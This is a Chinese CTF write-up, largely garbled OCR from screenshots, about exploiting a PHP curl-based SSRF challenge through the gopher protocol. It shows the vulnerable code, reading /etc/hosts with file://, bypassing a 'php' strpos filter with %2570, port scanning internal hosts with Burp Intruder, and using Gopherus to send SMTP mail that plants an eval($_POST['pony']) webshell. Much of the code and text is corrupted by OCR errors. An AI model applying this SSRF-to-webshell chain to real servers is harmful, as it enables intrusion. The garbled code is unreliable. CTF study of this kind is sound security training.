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<?php
highlight_file(__FILE_ );
$x = $ GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, "$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
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{Tphp
highlight file{ FILE ).
$x = $.GET["x:]:

fpos = strpos($x, “php’);
if (Jpo=) {

]

$ch = curl initl):
curl_setopt ($ch, CURLOPT _URL, "$x7)
curl_setopt ($ch, CURLOPT_RETURNTRANSFEE, true)
$result = ocurl exec(fch):

echo  $result;

exit("denied”);

(w ﬁ:] Elements Console Sources  MNetwark Performance  Memory

<html >
<head></head>

- ¥ <body> == 46 ’ﬁﬁu%‘%ﬂ_{
P <code>»..</code>
<!--?php /
/{there is no flag /etc/hosts --»
</body>

</html>»
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<7php
highlight_file(_FILE_ J;
$x = $.G6ETC %

Jpos = strposi$x, php”);
if ($pos) {
exit(“denied”);
}
$ch = curl init():

curl_setopt ($ch, CURLOPT_URL, “$x"J ;
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true) ;

fresult = curl execiich):
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echo fresult; 127.0.0.1 localhost =1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastpret
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<html>
<head></head>
¥ <body> == %8

P <coder..</code>
"127.8.9.1 localhost
111 localhost ip6-localhost ip6-loopback
fe@0::8 ip6-localnet
ffee::@ ip6-mcastprefix
ffez2::1 ip6-allnodes
ffe2::2 ip6-allrouters
172.18.8.3 47e73bbfab79
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</body>
</html>
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<Aphp
highlight filet FILE J:
3x = JGET[x ],
Jpos = strposi(dx “php’ )
1 3pas) |
prit{ denied” ),
I
Jch = curl initi):
curl_setopt ($eoh, CURLOPT_URL, “$x°7,
curl setopt ($ch, CURLOPT _EETURNTRANSFER, trus)
Jresult = curl_execidch);
echo  Jresult:
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head>»</head
¥ <hody> == 36
P <coder..</code:
<l-- include $ GET[3]; --> —————————mmmmmlpy- {7 T LF1T
/body
/html

%6

EditThisCookie
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B Intruder attack 2

Attack Save Columns

J Results ] Target T Positions ] Payloads T Options }

Filter: Showing all items 7|
Request | Payload | Status Error Timeout | Length ¥ | Comment
25 25 200 O (] 2621 N
0 200 LJ (] 2555 )
80 80 200 J L] 2555
1 1 200 (= L) 2529
2 2 200 J il 2529
3 3 200 [J L) 2529
4 4 200 [J L] 2529
5 5 200 =) = 2529
6 6 200 [ L] 2529
8 8 200 ®) O 2529 F
Request | Response ]
J Raw I Headers T Hex 1
#100DBE"=4$ch&nbsp;</span><span style="color: #07700">=&nbsp;</span><span style="color: #I0D0OBB">curl_init</span><span L

style="color: #O7700"=();<br [=</span=<span style="color; #O000BEB">curl_setopt</span=<span style="colar:

#107700"=(</span=<span style="color: #I000BB">$ch</span><span style="color: #007700">,</span><span style="color:
#HI000BE"=CURLOPT URL</span=<span style="color #007700">,</span><span style="color #F0D0000">"</span><span style="caolaor:




#I000BB">curl_setopt</span><span style="color. #07700">(</span><span style="color: #)000BE">$ch</span><span style="color:

#HO7700"=,</span=<span style="color; #O0OBB" =true</span=<span style="color; #FO07700"=);<br f></span=<span style="color:
HI000BB"=$result&nbsp;</span=<span style="color: #)07700">=8&nhsp;</span=<span style="color
#00DBB">curl_exec</span><span style="color; #007700">(</span><span style="color, #I000BE">%ch</span><span style="color:
#07700"=);<br />echo&nbsp;</span=<span style="color: #D000BB">$result</span><span style="color: #007700">;</span=

</span=
=/code>220 mail.web.com ESMTP Postfix (Ubuntu)
221 2.7.0 Error: | can break rules, too. Goodhye.

| (i [| # || = | |Type a search term

10011 of 65535 | ’

Iy
v

0 matches

CABRAB EIF B gopher AT smtp , RGBS A ZRIRIN LFI IwiH, 5 HXFER B
FIFgopherfTsmtp, FEHEXMHFE T —AEAS, REHALFESE HESCHIRE webshell

BEEMW T /5, BFEPAT T, S6H gopherus A4 % payload ,

HE: https://github.com/tarunkant/Gopherus , ETHH .

:~/Desktop/Gopherus# gopherus

loit framework ;
Y 2ils to send mail:

<123=>

eval($ post['pony']);

Your gopher link is ready to

RJEBATH A A& H B3
TRBEATIAERLAER smtp HEXHMET,

send Mail:

--exploit smtp

gopherus
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<Fphp
highlight_file(_FILE_ ).
$x = $GETE® 1

Jpos = strpes($xz, "php”);
if($pos) {

exit(“denied”);
}
$ch = curl init();

curl_setopt ($ch, CURLOPT_URL, “$x7) ;
curl_setopt ($ch, CURLOFT_RETURNTRANSFER, true)
fresult = curl exec(fch);

scho  Jresult;
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<html>
<head></head>
- ¥<body> == 38
P <coder.</code>
<l-- include § GET[a]; --»
</body>
</html>
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site: [https://bugs.php.net](https://bugs.php.net) strpos

Application

Security

2. ssrf—SeRI EN, REHNO, RBXTNRS, FBHF FHERNMKpayload

0x05 &£

SIH B E BRHE, FBER T, FrUEEM T R4 — IR E R writeup B Fr, XL HEEEE, i

B

Audits

HackBar

EditThisCookie


https://bugs.php.net
https://www.jianshu.com/p/804d95f6d6fb

	CTF gopher协议
	0x01 例题
	这儿举例安恒的一道月题

	0x02 贴出代码
	0x03分析过程
	首先我们利用file读取文件
	但是代码中有strpos的限制（利用%2570绕过）
	将127.0.0.1:25改为内网地址，然后url编码发送过去

	0x04 总结
	0x05 链接

